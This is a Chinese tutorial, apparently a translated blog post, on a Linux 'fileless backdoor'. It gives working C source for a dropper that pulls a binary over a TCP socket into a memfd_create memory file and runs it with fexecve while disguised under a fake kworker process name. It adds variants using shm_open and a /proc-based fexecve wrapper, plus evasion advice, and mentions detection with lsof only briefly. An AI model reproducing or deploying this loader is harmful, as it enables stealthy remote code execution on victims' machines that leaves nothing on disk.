linux 读后门程序文件,linux一种无文件后门技巧(译文)

让我们先来看一下这个代码

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41#include

#include

#include

#include

#include

#include

#include

#define __NR_memfd_create 319

#define MFD_CLOEXEC 1

static inline int memfd_create(const char *name, unsigned int flags) {

return syscall(__NR_memfd_create, name, flags);

}

extern char **environ;

int main (int argc, char **argv) {

int fd, s;

unsigned long addr = 0x0100007f11110002;

char *args[2]= {"[kworker/u!0]", NULL};

char buf[1024];

// Connect

if ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) exit (1);

if (connect (s, (struct sockaddr*)&addr, 16) < 0) exit (1);

if ((fd = memfd_create("a", MFD_CLOEXEC)) < 0) exit (1);

while (1) {

if ((read (s, buf, 1024) ) <= 0) break;

write (fd, buf, 1024);

}

close (s);

if (fexecve (fd, args, environ) < 0) exit (1);

return 0;

}

代码很短也很简单,但是这里有几个点需要稍微介绍一下。

调用memfd_create

第一个要介绍的就是,libc并没有对memfd_create这个系统调用进行封装(你可以在这里看到这个系统调用的相关信息memfd_create manpage’s NOTES section),这就意味着我们需要自己去封装一下。

首先我们需要找到memfd_create在系统调用中的索引,通过一些在线的系统调用表,这个索引在不同的架构下是不同的,如果你想将上面的代码应用在ARM和MIPS上,可能需要不同的索引,在X86_64系统架构下的索引是319.

我使用了libc的syscall去对memfd_create进行了简单封装。

这个程序主要做了下面的事情

1.创建了一个TCP socket

2,使用AF_INET连接了127.0.0.1的0x1111端口,我们可以把这些所有的打包到一个变量里面这样可以使我们的代码看起来更短一点儿,同样你也可以去修改成你想要的ip和端口。

1

2

3

4addr = 01 00 00 7f 1111 0002;

1. 0. 0.127 1111 0002;

+------------+------+----

IP Address | Port | Family

3.创建一个内存文件

4.从socket读取数据写入到内存文件

5.一旦文件传输完毕,运行内存文件

是不是很简单粗暴;)

测试

现在,让我们来测试一下,通过main函数里面那个long的变量我们知道,这个dropper将会去连接本地localhost(127.0.0.1)的0x1111端口,这里我们简单的使用nc模拟一个server。

在控制台我们运行下面的命令:

1$ cat /usr/bin/xeyes | nc -l $((0x1111))

你可以选择任意你喜欢的二进制文件,我这里用的是xeyes(一个小眼睛会跟踪鼠标的移动)这个linux自带的小程序。在另外的一个命令行界面我们运行我们的dropper,这个时候xeyes会弹出来。

8f26c2a3bb6c10115578b61046d727d7.png

检测这个dropper

查找这个进程比较困难,因为我们给这个进程起了一个kworker/u!0这样的名字,注意!在这里只是为了快速的去发现它,当然在实际情况中,你可以使用一个具有迷惑性的名字,比如说什么so的进程名来让它看起来像是个内核的合法进程,让我们来看一下ps的输出

1

2

3

4

5$ ps axe

(...)

2126 ? S 0:00 [kworker/0:0]

2214 pts/0 S+ 0:00 [kworker/u!0]

(...)

你可以看到上面的一行中是一个合法的kworker进程,下面的就是我们的看似合法的进程。

看不见的文件

我们之前提到的memfd_create 将会在RAM文件系统中创建文件且不会映射到一般的文件系统,至少,如果映射了,我是没找到,所以现在看来这的确是相当隐蔽的。

然而,事实上,如果一个文件存在,那么我们还是可以去发现它的,谁会去调用这个文件呢,没错,我们可以通过lsof(list of file)去查找:)到它

1b297a096d7659e9b52b18453ca39c44.png

注意lsof同样可以会显示出进程id,所以我们之前用的伪装的进程名在这个时候也就没有用了。

如果系统中没有memfd_open不存在呢

我之前提到过memfd_open只是存在于内核在3.17或者更高的版本中,那在其它的版本中该怎么办,这种情况下我们可以使用另外一种没那么猥琐但是可以达到同样效果的方法。

我们最好的方式是使用shm_open(shared memory open),这个函数会在/dev/shm文件夹下创建文件,然而,这个使用ls命令是可以看的到的,但是至少还是避免了写文件到磁盘了,shm_open和open的区别仅仅是不是在/dev/shm创建文件。

使用shm_open去修改这个dropper我们需要去做两件事情

1.首先我们需要去使用shm_open去代替memfd_create像是这样

1

2

3(...)

if ((fd = shm_open("a", O_RDWR | O_CREAT, S_IRWXU)) < 0) exit (1);

(...)

2.第二件事情就是我们需要关闭这个文件,然后去重新打开是为了能够通过fexecve去执行它,所以在while接收完文件之后我们需要关闭文件,然后重启新开文件:

1

2

3

4

5(...)

close (fd);

if ((fd = shm_open("a", O_RDONLY, 0)) < 0) exit (1);

(...)

这个时候我们完全可以使用execve去替代fexecve去达到同样的效果。

那如果fexecve不存在呢

当你知道fexecve是怎么工作的,这个就很简单,怎么去知道这个函数是怎么工作的,google一下看看源代码,man page有一个提示:

1

2NOTES

On Linux, fexecve() is implemented using the proc(5) file system, so /proc needs to be mounted and available at the time of the call.

所以fexecve需要系统存在/proc的目录。让我们看看能不能自己实现一下。我们知道每个进程在虚拟目录proc下都有一个数字文件目录与之相对,所以这个时候,我们可以基本上使用下面的封装函数来实现fexecve的功能:

1

2

3

4

5

6

7

8int

my_fexecve (int fd, char **arg, char **env) {

char fname[1024];

snprintf (fname, 1024, "/proc/%d/fd/%d", getpid(), fd);

execve (fname, arg, env);

return 0;

}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值